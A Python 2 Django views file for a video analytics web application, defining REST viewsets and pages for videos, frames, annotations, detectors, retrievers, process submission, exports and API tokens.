from django.shortcuts import render, redirect from django.conf import settings from django.http import JsonResponse import requests import glob import json from django.views.generic import ListView, DetailView from django.utils import timezone from .forms import UploadFileForm, YTVideoForm, AnnotationForm from .models import Video, Frame, DVAPQL, QueryResults, TEvent, IndexEntries, Region, VDNServer, \ LOPQCodes, Tube, Detector, Segment, FrameLabel, SegmentLabel, \ VideoLabel, RegionLabel, TubeLabel, Label, ManagementAction, StoredDVAPQL, Analyzer,\ Indexer, Retriever, SystemState, QueryRegion from dva.celery import app from dvaapp.operations import queuing import serializers from rest_framework import viewsets, mixins from django.contrib.auth.models import User from rest_framework.permissions import IsAuthenticatedOrReadOnly, IsAuthenticated from django.db.models import Count import math from django.db.models import Max from shared import handle_uploaded_file, create_annotation, handle_video_url, pull_vdn_list, \ import_vdn_dataset_url, create_detector_dataset, import_vdn_detector_url, refresh_task_status, \ delete_video_object from operations.processing import DVAPQLProcess from django.contrib.auth.decorators import user_passes_test,login_required from django.utils.decorators import method_decorator from django.contrib.auth.mixins import UserPassesTestMixin from django_celery_results.models import TaskResult from rest_framework.authtoken.models import Token import logging import defaults try: from django.contrib.postgres.search import SearchVector except ImportError: SearchVector = None logging.warning("Could not load Postgres full text search") from examples import EXAMPLES class LoginRequiredMixin(object): @method_decorator(login_required) def dispatch(self, *args, **kwargs): return super(LoginRequiredMixin, self).dispatch(*args, **kwargs) def user_check(user): return user.is_authenticated or settings.AUTH_DISABLED def force_user_check(user): return user.is_authenticated class UserViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = User.objects.all() serializer_class = serializers.UserSerializer class SystemStateViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = SystemState.objects.all() serializer_class = serializers.SystemStateSerializer class VideoViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Video.objects.all() serializer_class = serializers.VideoSerializer class AnalyzerViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Analyzer.objects.all() serializer_class = serializers.AnalyzerSerializer class IndexerViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Indexer.objects.all() serializer_class = serializers.IndexerSerializer class RetrieverViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Retriever.objects.all() serializer_class = serializers.RetrieverSerializer class DetectorViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Detector.objects.all() serializer_class = serializers.DetectorSerializer class FrameViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Frame.objects.all() serializer_class = serializers.FrameSerializer filter_fields = ('frame_index', 'subdir', 'name', 'video') class FrameLabelViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = FrameLabel.objects.all() serializer_class = serializers.FrameLabelSerializer filter_fields = ('frame_index','segment_index', 'video') class RegionLabelViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = RegionLabel.objects.all() serializer_class = serializers.RegionLabelSerializer class VideoLabelViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = VideoLabel.objects.all() serializer_class = serializers.VideoLabelSerializer class SegmentLabelViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = SegmentLabel.objects.all() serializer_class = serializers.SegmentLabelSerializer class TubeLabelViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = TubeLabel.objects.all() serializer_class = serializers.TubeLabelSerializer class SegmentViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Segment.objects.all() serializer_class = serializers.SegmentSerializer filter_fields = ('segment_index','video') class QueryRegionViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = QueryRegion.objects.all() serializer_class = serializers.QueryRegionSerializer class RegionViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Region.objects.all() serializer_class = serializers.RegionSerializer filter_fields = ('video',) class DVAPQLViewSet(viewsets.ModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = DVAPQL.objects.all() serializer_class = serializers.DVAPQLSerializer def perform_create(self, serializer): instance = serializer.save(user=self.request.user) p = DVAPQLProcess(instance) spec = json.loads(self.request.POST.get('script')) p.create_from_json(spec, self.request.user) p.launch() def perform_update(self, serializer): """ Immutable Not allowed :param serializer: :return: """ raise NotImplementedError def perform_destroy(self, instance): """ :param instance: :return: """ raise ValueError, "Not allowed to delete" class QueryResultsViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = QueryResults.objects.all() serializer_class = serializers.QueryResultsSerializer filter_fields = ('frame', 'video') class TEventViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = TEvent.objects.all() serializer_class = serializers.TEventSerializer filter_fields = ('video', 'operation') class IndexEntriesViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = IndexEntries.objects.all() serializer_class = serializers.IndexEntriesSerializer filter_fields = ('video', 'algorithm', 'detection_name') class LabelViewSet(viewsets.ModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Label.objects.all() serializer_class = serializers.LabelSerializer class VDNServerViewSet(viewsets.ModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = VDNServer.objects.all() serializer_class = serializers.VDNServerSerializer class TubeViewSet(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = Tube.objects.all() serializer_class = serializers.TubeSerializer class LOPQCodesViewSet(viewsets.ModelViewSet): permission_classes = (IsAuthenticatedOrReadOnly,) if settings.AUTH_DISABLED else (IsAuthenticated,) queryset = LOPQCodes.objects.all() serializer_class = serializers.LOPQCodesSerializer class VideoList(UserPassesTestMixin, ListView): model = Video paginate_by = 100 def get_context_data(self, **kwargs): context = super(VideoList, self).get_context_data(**kwargs) context['exports'] = TEvent.objects.all().filter(operation='perform_export') return context def test_func(self): return user_check(self.request.user) class TEventDetail(UserPassesTestMixin, DetailView): model = TEvent def get_context_data(self, **kwargs): context = super(TEventDetail, self).get_context_data(**kwargs) try: tr = TaskResult.objects.get(task_id=context['object'].task_id) except TaskResult.DoesNotExist: context['celery_task'] = None pass else: context['celery_task'] = tr return context def test_func(self): return user_check(self.request.user) class TEventList(UserPassesTestMixin, ListView): model = TEvent paginate_by = 500 def get_queryset(self): kwargs = {} if self.kwargs.get('pk',None): kwargs['video_id']=self.kwargs['pk'] elif self.kwargs.get('process_pk',None): kwargs['parent_process_id']=self.kwargs['process_pk'] if self.kwargs.get('status',None): if self.kwargs['status'] == 'running': kwargs['duration__lt'] = 0 kwargs['started'] = True kwargs['completed'] = False kwargs['errored'] = False elif self.kwargs['status'] == 'successful': kwargs['completed'] = True elif self.kwargs['status'] == 'pending': kwargs['duration__lt'] = 0 kwargs['started'] = False kwargs['errored'] = False elif self.kwargs['status'] == 'failed': kwargs['errored'] = True new_context = TEvent.objects.filter(**kwargs).order_by('-created') return new_context def get_context_data(self, **kwargs): refresh_task_status() context = super(TEventList, self).get_context_data(**kwargs) context['header'] = "" if self.kwargs.get('pk',None): context['video'] = Video.objects.get(pk=self.kwargs['pk']) context['header'] = "video/dataset : {}".format(context['video'].name) if self.kwargs.get('process_pk',None): process_pk = self.kwargs.get('process_pk',None) context['header'] = "process : {}".format(process_pk) if self.kwargs.get('status',None): context['header'] += " with status {}".format(self.kwargs['status']) return context def test_func(self): return user_check(self.request.user) class VideoDetail(UserPassesTestMixin, DetailView): model = Video def get_context_data(self, **kwargs): context = super(VideoDetail, self).get_context_data(**kwargs) max_frame_index = Frame.objects.all().filter(video=self.object).aggregate(Max('frame_index'))[ 'frame_index__max'] context['exports'] = TEvent.objects.all().filter(operation='perform_export', video=self.object) context['annotation_count'] = Region.objects.all().filter(video=self.object, region_type=Region.ANNOTATION).count() context['exportable_annotation_count'] = 0 context['url'] = '{}{}/video/{}.mp4'.format(settings.MEDIA_URL, self.object.pk, self.object.pk) label_list = [] show_all = self.request.GET.get('show_all_labels', False) context['label_list'] = label_list delta = 10000 if context['object'].dataset: delta = 500 if max_frame_index <= delta: context['frame_list'] = Frame.objects.all().filter(video=self.object).order_by('frame_index') context['detection_list'] = Region.objects.all().filter(video=self.object, region_type=Region.DETECTION) context['annotation_list'] = Region.objects.all().filter(video=self.object, region_type=Region.ANNOTATION) context['offset'] = 0 context['limit'] = max_frame_index else: if self.request.GET.get('frame_index_offset', None) is None: offset = 0 else: offset = int(self.request.GET.get('frame_index_offset')) limit = offset + delta context['offset'] = offset context['limit'] = limit context['frame_list'] = Frame.objects.all().filter(video=self.object, frame_index__gte=offset, frame_index__lte=limit).order_by('frame_index') context['detection_list'] = Region.objects.all().filter(video=self.object, frame_index__gte=offset, frame_index__lte=limit, region_type=Region.DETECTION) context['annotation_list'] = Region.objects.all().filter(video=self.object, frame_index__gte=offset, frame_index__lte=limit, region_type=Region.ANNOTATION) context['frame_index_offsets'] = [(k * delta, (k * delta) + delta) for k in range(int(math.ceil(max_frame_index / float(delta))))] context['frame_first'] = context['frame_list'].first() context['frame_last'] = context['frame_list'].last() context['pending_tasks'] = TEvent.objects.all().filter(video=self.object,started=False, errored=False).count() context['running_tasks'] = TEvent.objects.all().filter(video=self.object,started=True, completed=False, errored=False).count() context['successful_tasks'] = TEvent.objects.all().filter(video=self.object,completed=True).count() context['errored_tasks'] = TEvent.objects.all().filter(video=self.object,errored=True).count() if context['limit'] > max_frame_index: context['limit'] = max_frame_index context['max_frame_index'] = max_frame_index return context def test_func(self): return user_check(self.request.user) # class RetrieverDetails(UserPassesTestMixin, DetailView): # model = Clusters # # def get_context_data(self, **kwargs): # context = super(ClustersDetails, self).get_context_data(**kwargs) # context['coarse'] = [] # context['index_entries'] = [IndexEntries.objects.get(pk=k) for k in self.object.included_index_entries_pk] # for k in ClusterCodes.objects.filter(clusters_id=self.object.pk).values('coarse_text').annotate( # count=Count('coarse_text')): # context['coarse'].append({'coarse_text': k['coarse_text'].replace(' ', '_'), # 'count': k['count'], # 'first': ClusterCodes.objects.all().filter(clusters_id=self.object.pk, # coarse_text=k['coarse_text']).first(), # 'last': ClusterCodes.objects.all().filter(clusters_id=self.object.pk, # coarse_text=k['coarse_text']).last() # }) # # return context # # def test_func(self): # return user_check(self.request.user) class DetectionDetail(UserPassesTestMixin, DetailView): model = Detector def get_context_data(self, **kwargs): context = super(DetectionDetail, self).get_context_data(**kwargs) classdist = context['object'].class_distribution.strip() context['class_distribution'] = json.loads(classdist) if classdist else {} context['phase_1_log'] = [] context['phase_2_log'] = [] for k in context['object'].phase_1_log.split('\n')[1:]: if k.strip(): epoch,train_loss,val_loss = k.strip().split(',') context['phase_1_log'].append((epoch,round(float(train_loss),2),round(float(val_loss),2))) for k in context['object'].phase_2_log.split('\n')[1:]: if k.strip(): epoch,train_loss,val_loss = k.strip().split(',') context['phase_2_log'].append((epoch,round(float(train_loss),2),round(float(val_loss),2))) return context def test_func(self): return user_check(self.request.user) class FrameList(UserPassesTestMixin, ListView): model = Frame def test_func(self): return user_check(self.request.user) class FrameDetail(UserPassesTestMixin, DetailView): model = Frame def get_context_data(self, **kwargs): context = super(FrameDetail, self).get_context_data(**kwargs) context['detection_list'] = Region.objects.all().filter(frame=self.object, region_type=Region.DETECTION) context['annotation_list'] = Region.objects.all().filter(frame=self.object, region_type=Region.ANNOTATION) context['video'] = self.object.video context['url'] = '{}{}/frames/{}.jpg'.format(settings.MEDIA_URL, self.object.video.pk, self.object.frame_index) context['previous_frame'] = Frame.objects.filter(video=self.object.video, frame_index__lt=self.object.frame_index).order_by( '-frame_index')[0:1] context['next_frame'] = Frame.objects.filter(video=self.object.video, frame_index__gt=self.object.frame_index).order_by('frame_index')[ 0:1] return context def test_func(self): return user_check(self.request.user) class SegmentDetail(UserPassesTestMixin, DetailView): model = Segment def get_context_data(self, **kwargs): context = super(SegmentDetail, self).get_context_data(**kwargs) context['video'] = self.object.video context['frame_list'] = Frame.objects.all().filter(video=self.object.video,segment_index=self.object.segment_index).order_by('frame_index') context['region_list'] = Region.objects.all().filter(video=self.object.video,segment_index=self.object.segment_index).order_by('frame_index') context['url'] = '{}{}/segments/{}.mp4'.format(settings.MEDIA_URL, self.object.video.pk, self.object.segment_index) context['previous_segment_index'] = self.object.segment_index - 1 if self.object.segment_index else None context['next_segment_index'] = self.object.segment_index + 1 if (self.object.segment_index+1) < self.object.video.segments else None return context def test_func(self): return user_check(self.request.user) class VisualSearchList(UserPassesTestMixin, ListView): model = DVAPQL template_name = "dvaapp/query_list.html" def test_func(self): return user_check(self.request.user) def get_queryset(self): new_context = DVAPQL.objects.filter(process_type=DVAPQL.QUERY).order_by('-created') return new_context class VisualSearchDetail(UserPassesTestMixin, DetailView): model = DVAPQL template_name = "dvaapp/query_detail.html" def get_context_data(self, **kwargs): context = super(VisualSearchDetail, self).get_context_data(**kwargs) qp = DVAPQLProcess(process=context['object'],media_dir=settings.MEDIA_ROOT) qp.collect() context['results'] = qp.context['results'].items() context['regions'] = qp.context['regions'] script = context['object'].script script[u'image_data_b64'] = "<excluded>" context['plan'] = script context['pending_tasks'] = TEvent.objects.all().filter(parent_process=self.object,started=False, errored=False).count() context['running_tasks'] = TEvent.objects.all().filter(parent_process=self.object,started=True, completed=False, errored=False).count() context['successful_tasks'] = TEvent.objects.all().filter(parent_process=self.object,completed=True).count() context['errored_tasks'] = TEvent.objects.all().filter(parent_process=self.object,errored=True).count() context['url'] = '{}queries/{}.png'.format(settings.MEDIA_URL, self.object.pk, self.object.pk) return context def test_func(self): return user_check(self.request.user) class ProcessList(UserPassesTestMixin, ListView): model = DVAPQL template_name = "dvaapp/process_list.html" paginate_by = 50 def get_context_data(self, **kwargs): context = super(ProcessList, self).get_context_data(**kwargs) return context def test_func(self): return user_check(self.request.user) def get_queryset(self): new_context = DVAPQL.objects.filter().order_by('-created') return new_context class ProcessDetail(UserPassesTestMixin, DetailView): model = DVAPQL template_name = "dvaapp/process_detail.html" def get_context_data(self, **kwargs): context = super(ProcessDetail, self).get_context_data(**kwargs) context['json'] = json.dumps(context['object'].script,indent=4) context['pending_tasks'] = TEvent.objects.all().filter(parent_process=self.object,started=False, errored=False).count() context['running_tasks'] = TEvent.objects.all().filter(parent_process=self.object,started=True, completed=False, errored=False).count() context['successful_tasks'] = TEvent.objects.all().filter(parent_process=self.object,completed=True).count() context['errored_tasks'] = TEvent.objects.all().filter(parent_process=self.object,errored=True).count() return context def test_func(self): return user_check(self.request.user) class StoredProcessList(UserPassesTestMixin, ListView): model = StoredDVAPQL template_name = "dvaapp/stored_process_list.html" paginate_by = 20 ordering = "-created" def get_context_data(self, **kwargs): context = super(StoredProcessList, self).get_context_data(**kwargs) context['examples'] = json.dumps(EXAMPLES, indent=None) return context def test_func(self): return user_check(self.request.user) class StoredProcessDetail(UserPassesTestMixin, DetailView): model = StoredDVAPQL template_name = "dvaapp/stored_process_detail.html" def get_context_data(self, **kwargs): context = super(StoredProcessDetail, self).get_context_data(**kwargs) context['json'] = json.dumps(context['object'].script,indent=4) return context def test_func(self): return user_check(self.request.user) @user_passes_test(user_check) def search(request): if request.method == 'POST': qp = DVAPQLProcess() qp.create_from_request(request) qp.launch() qp.wait() qp.collect() return JsonResponse(data={'task_id': "", 'primary_key': qp.process.pk, 'results': qp.context['results'], 'regions': qp.context['regions'], 'url': '{}queries/{}.png'.format(settings.MEDIA_URL, qp.process.pk) }) def home(request): if request.user.is_authenticated: return redirect("app") else: return render(request, 'home.html', {}) def paper(request): return render(request, 'paper.html', {}) @user_passes_test(user_check) def index(request, query_pk=None, frame_pk=None, detection_pk=None): if request.method == 'POST': form = UploadFileForm(request.POST, request.FILES) user = request.user if request.user.is_authenticated else None if form.is_valid(): handle_uploaded_file(request.FILES['file'], form.cleaned_data['name'], user=user,rate=form.cleaned_data['nth'], rescale=form.cleaned_data['rescale'] if 'rescale' in form.cleaned_data else 0) return redirect('video_list') else: raise ValueError else: form = UploadFileForm() context = {'form': form} context['detectors'] = Detector.objects.all() context['indexer_retrievers'] = [] for i in Indexer.objects.all(): for r in Retriever.objects.all(): if 'indexer_shasum' in r.source_filters and r.source_filters['indexer_shasum'] == i.shasum and r.last_built: context['indexer_retrievers'].append(('{} > {} retriever {} (pk:{})'.format(i.name, r.get_algorithm_display(),r.name,r.pk), '{}_{}'.format(i.pk,r.pk))) if query_pk: previous_query = DVAPQL.objects.get(pk=query_pk) context['initial_url'] = '{}queries/{}.png'.format(settings.MEDIA_URL, query_pk) elif frame_pk: frame = Frame.objects.get(pk=frame_pk) context['initial_url'] = '{}{}/frames/{}.jpg'.format(settings.MEDIA_URL, frame.video.pk, frame.frame_index) elif detection_pk: detection = Region.objects.get(pk=detection_pk) context['initial_url'] = '{}{}/regions/{}.jpg'.format(settings.MEDIA_URL, detection.video.pk, detection.pk) context['frame_count'] = Frame.objects.count() context['query_count'] = DVAPQL.objects.filter(process_type=DVAPQL.QUERY).count() context['process_count'] = DVAPQL.objects.filter(process_type=DVAPQL.PROCESS).count() context['index_entries_count'] = IndexEntries.objects.count() context['external_servers_count'] = VDNServer.objects.count() context['task_events_count'] = TEvent.objects.count() context['pending_tasks'] = TEvent.objects.all().filter(started=False, errored=False).count() context['running_tasks'] = TEvent.objects.all().filter(started=True, completed=False, errored=False).count() context['successful_tasks'] = TEvent.objects.all().filter(started=True, completed=True).count() context['errored_tasks'] = TEvent.objects.all().filter(errored=True).count() context['video_count'] = Video.objects.count() context['index_entries'] = IndexEntries.objects.all() context['region_count'] = Region.objects.all().count() context['tube_count'] = Tube.objects.all().count() context["videos"] = Video.objects.all().filter() context['detector_count'] = Detector.objects.all().count() context['rate'] = defaults.DEFAULT_RATE return render(request, 'dashboard.html', context) @user_passes_test(user_check) def assign_video_labels(request): if request.method == 'POST': video = Video.objects.get(pk=request.POST.get('video_pk')) spec = [] for k in request.POST.get('labels').split(','): if k.strip(): spec.append({ 'MODEL':'VideoLabel', 'spec':{'video_id':video.pk,'label_id':Label.objects.get_or_create(name=k,set="UI")[0].id} }) p = DVAPQLProcess() p.create_from_json({ 'process_type':DVAPQL.PROCESS, 'create':spec, },user=request.user if request.user.is_authenticated else None) p.launch() return redirect('video_detail', pk=video.pk) else: raise NotImplementedError @user_passes_test(user_check) def annotate(request, frame_pk): context = {'frame': None, 'detection': None, 'existing': []} frame = None frame = Frame.objects.get(pk=frame_pk) context['frame'] = frame context['initial_url'] = '{}{}/frames/{}.jpg'.format(settings.MEDIA_URL, frame.video.pk, frame.frame_index) context['previous_frame'] = Frame.objects.filter(video=frame.video, frame_index__lt=frame.frame_index).order_by( '-frame_index')[0:1] context['next_frame'] = Frame.objects.filter(video=frame.video, frame_index__gt=frame.frame_index).order_by( 'frame_index')[0:1] context['detections'] = Region.objects.filter(frame=frame, region_type=Region.DETECTION) for d in Region.objects.filter(frame=frame): temp = { 'x': d.x, 'y': d.y, 'h': d.h, 'w': d.w, 'pk': d.pk, 'box_type': "detection" if d.region_type == d.DETECTION else 'annotation', 'label': d.object_name, 'full_frame': d.full_frame, 'detection_pk': None } context['existing'].append(temp) context['existing'] = json.dumps(context['existing']) if request.method == 'POST': form = AnnotationForm(request.POST) if form.is_valid(): applied_tags = form.cleaned_data['tags'].split(',') if form.cleaned_data['tags'] else [] create_annotation(form, form.cleaned_data['object_name'], applied_tags, frame) return JsonResponse({'status': True}) else: raise ValueError, form.errors return render(request, 'annotate.html', context) @user_passes_test(user_check) def annotate_entire_frame(request, frame_pk): frame = Frame.objects.get(pk=frame_pk) annotation = None if request.method == 'POST': if request.POST.get('text').strip() \ or request.POST.get('metadata').strip() \ or request.POST.get('object_name', None): annotation = Region() annotation.region_type = Region.ANNOTATION annotation.x = 0 annotation.y = 0 annotation.h = 0 annotation.w = 0 annotation.full_frame = True annotation.text = request.POST.get('text') annotation.metadata = request.POST.get('metadata') annotation.object_name = request.POST.get('object_name', 'frame_metadata') annotation.frame = frame annotation.video = frame.video annotation.save() for label_name in request.POST.get('tags').split(','): if label_name.strip(): if annotation: dl = RegionLabel() dl.video = frame.video dl.frame = frame dl.label = Label.objects.get_or_create(name=label_name,set="UI")[0] dl.region = annotation dl.save() else: dl = FrameLabel() dl.video = frame.video dl.frame = frame dl.label = Label.objects.get_or_create(name=label_name,set="UI")[0] dl.save() return redirect("frame_detail", pk=frame.pk) @user_passes_test(user_check) def yt(request): if request.method == 'POST': form = YTVideoForm(request.POST, request.FILES) user = request.user if request.user.is_authenticated else None if form.is_valid(): rate = form.cleaned_data['nth'] rescale = form.cleaned_data['rescale'] if 'rescale' in form.cleaned_data else 0 video = handle_video_url(form.cleaned_data['name'], form.cleaned_data['url'], user=user) process_spec = { 'process_type': DVAPQL.PROCESS, 'tasks': [{'video_id': video.pk, 'operation': 'perform_import', 'arguments': {'source': "URL", 'next_tasks':[{'video_id': video.pk, 'operation': 'perform_video_segmentation', 'arguments': { 'next_tasks': [ {'operation': 'perform_video_decode', 'arguments': { 'rate': rate, 'rescale': rescale, 'segments_batch_size': defaults.DEFAULT_SEGMENTS_BATCH_SIZE, 'next_tasks': defaults.DEFAULT_PROCESSING_PLAN_VIDEO } } ]}, },] } },] } p = DVAPQLProcess() p.create_from_json(process_spec, user) p.launch() else: raise ValueError else: raise NotImplementedError return redirect('video_list') @user_passes_test(user_check) def segment_by_index(request,video_pk,segment_index): segment = Segment.objects.get(video_id=video_pk,segment_index=segment_index) return redirect('segment_detail',pk=segment.pk) @user_passes_test(user_check) def export_video(request): if request.method == 'POST': pk = request.POST.get('video_id') video = Video.objects.get(pk=pk) export_method = request.POST.get('export_method') if video: if export_method == 's3': key = request.POST.get('key') bucket = request.POST.get('bucket') region = request.POST.get('region','us-east-1') process_spec = {'process_type':DVAPQL.PROCESS, 'tasks':[ { 'video_id':video.pk, 'operation':'perform_export', 'arguments': {'key':key,'bucket':bucket,'region':region,'destination':'S3'} }, ]} else: process_spec = {'process_type':DVAPQL.PROCESS, 'tasks':[ { 'video_id':video.pk, 'operation':'perform_export', 'arguments':{'destination':'FILE'} }, ] } p = DVAPQLProcess() p.create_from_json(process_spec) p.launch() return redirect('video_list') else: raise NotImplementedError @user_passes_test(user_check) def coarse_code_detail(request, pk, coarse_code): coarse_code = coarse_code.replace('_', ' ') context = { 'code': coarse_code, 'objects': LOPQCodes.objects.all().filter(coarse_text=coarse_code, clusters_id=pk) } return render(request, 'coarse_code_details.html', context) @user_passes_test(user_check) def status(request): context = {} context['logs'] = [] for fname in glob.glob('logs/*.log'): context['logs'].append((fname,file(fname).read())) return render(request, 'status.html', context) @user_passes_test(user_check) def management(request): timeout = 1.0 context = { 'timeout':timeout, 'actions':ManagementAction.objects.all(), 'state':SystemState.objects.all().order_by('-created')[:100] } if request.method == 'POST': op = request.POST.get("op","") host_name = request.POST.get("host_name","").strip() queue_name = request.POST.get("queue_name","").strip() if op =="list_workers": context["queues"] = app.control.inspect(timeout=timeout).active_queues() elif op == "list": t = app.send_task('manage_host', args=[op, ], exchange='qmanager') t.wait(timeout=timeout) elif op == "gpuinfo": t = app.send_task('manage_host', args=[op, ], exchange='qmanager') t.wait(timeout=timeout) elif op == "launch": t = app.send_task('manage_host', args=[op,host_name,queue_name],exchange='qmanager') t.wait(timeout=timeout) return render(request, 'management.html', context) @user_passes_test(user_check) def training(request): context = {} context["videos"] = Video.objects.all().filter() context["detectors"] = Detector.objects.all() return render(request, 'training.html', context) @user_passes_test(user_check) def textsearch(request): context = {'results': {}, "videos": Video.objects.all().filter()} q = request.GET.get('q') if q: offset = int(request.GET.get('offset',0)) delta = int(request.GET.get('delta',25)) limit = offset + delta context['q'] = q context['next'] = limit context['delta'] = delta context['offset'] = offset context['limit'] = limit if request.GET.get('regions'): context['results']['regions_meta'] = Region.objects.filter(text__search=q)[offset:limit] context['results']['regions_name'] = Region.objects.filter(object_name__search=q)[offset:limit] if request.GET.get('frames'): context['results']['frames_name'] = Frame.objects.filter(name__search=q)[offset:limit] context['results']['frames_subdir'] = Frame.objects.filter(subdir__search=q)[offset:limit] if request.GET.get('labels'): context['results']['labels'] = Label.objects.filter(name__search=q)[offset:limit] return render(request, 'textsearch.html', context) @user_passes_test(user_check) def retrievers(request): context = {} context['algorithms'] = {k.name for k in Indexer.objects.all()} context['index_entries'] = IndexEntries.objects.all() context['retrievers'] = Retriever.objects.all() return render(request, 'retrievers.html', context) @user_passes_test(user_check) def create_retriever(request): if request.method == 'POST': spec = {} if request.POST.get('retriever_type') == Retriever.LOPQ: v = request.POST.get('v') m = request.POST.get('m') components = request.POST.get('components') sub = request.POST.get('sub') spec['name'] = request.POST.get('name') spec['algorithm'] = Retriever.LOPQ args = {} args['components']= components args['sub']= sub args['m']= m args['v']= v spec['arguments'] = args if request.POST.get('source_filters',None): spec['source_filters'] = json.loads(request.POST.get('source_filter','{}')) else: spec['source_filters'] = {'indexer_shasum':Indexer.objects.get(name=request.POST.get('algorithm')).shasum} next_tasks = [{'operation': "perform_retriever_creation",'arguments': {'retriever_pk':'__pk__'},},] elif request.POST.get('retriever_type') == Retriever.EXACT: spec['name'] = request.POST.get('name') spec['last_built'] = '__timezone.now__' spec['source_filters'] = json.loads(request.POST.get('source_filters', '{}')) spec['algorithm'] = Retriever.EXACT next_tasks = [] else: raise ValueError if spec: p = DVAPQLProcess() p.create_from_json(j={"process_type": DVAPQL.PROCESS, "create":[{'MODEL':'Retriever','spec':spec,'tasks': next_tasks}], }, user=request.user if request.user.is_authenticated else None) p.launch() return redirect('retrievers') @user_passes_test(user_check) def submit_process(request): if request.method == 'POST': process_pk = request.POST.get('process_pk',None) if process_pk is None: p = DVAPQLProcess() p.create_from_json(j=json.loads(request.POST.get('script')), user=request.user if request.user.is_authenticated else None) p.launch() else: p = DVAPQLProcess(process=DVAPQL.objects.get(pk=process_pk)) p.launch() return redirect("process_detail",pk=p.process.pk) @user_passes_test(user_check) def validate_process(request): if request.method == 'POST': p = DVAPQLProcess() p.create_from_json(j=json.loads(request.POST.get('script')), user=request.user if request.user.is_authenticated else None) p.validate() return redirect("process_detail",pk=p.process.pk) @user_passes_test(user_check) def delete_object(request): if request.method == 'POST': pk = request.POST.get('pk') if request.POST.get('object_type') == 'annotation': annotation = Region.objects.get(pk=pk) if annotation.region_type == Region.ANNOTATION: annotation.delete() return JsonResponse({'status': True}) @user_passes_test(force_user_check) def security(request): context = {} context['username'] = request.user.username token, created = Token.objects.get_or_create(user=request.user if request.user.is_authenticated else None) context['token'] = token return render(request, 'security.html', context=context) @user_passes_test(force_user_check) def expire_token(request): # TODO Check if this is correct if request.method == 'POST': if request.POST.get('expire',False): token, created = Token.objects.get_or_create(user=request.user if request.user.is_authenticated else None) if not created: token.delete() return redirect("security") @user_passes_test(user_check) def import_dataset(request): if request.method == 'POST': url = request.POST.get('dataset_url') server = VDNServer.objects.get(pk=request.POST.get('server_pk')) user = request.user if request.user.is_authenticated else None cached_response = server.last_response_datasets[int(request.POST.get('dindex'))] import_vdn_dataset_url(server, url, user, cached_response) else: raise NotImplementedError return redirect('video_list') @user_passes_test(user_check) def import_detector(request): if request.method == 'POST': url = request.POST.get('detector_url') server = VDNServer.objects.get(pk=request.POST.get('server_pk')) user = request.user if request.user.is_authenticated else None cached_response = server.last_response_detectors[int(request.POST.get('dindex'))] import_vdn_detector_url(server, url, user, cached_response) else: raise NotImplementedError return redirect('models') 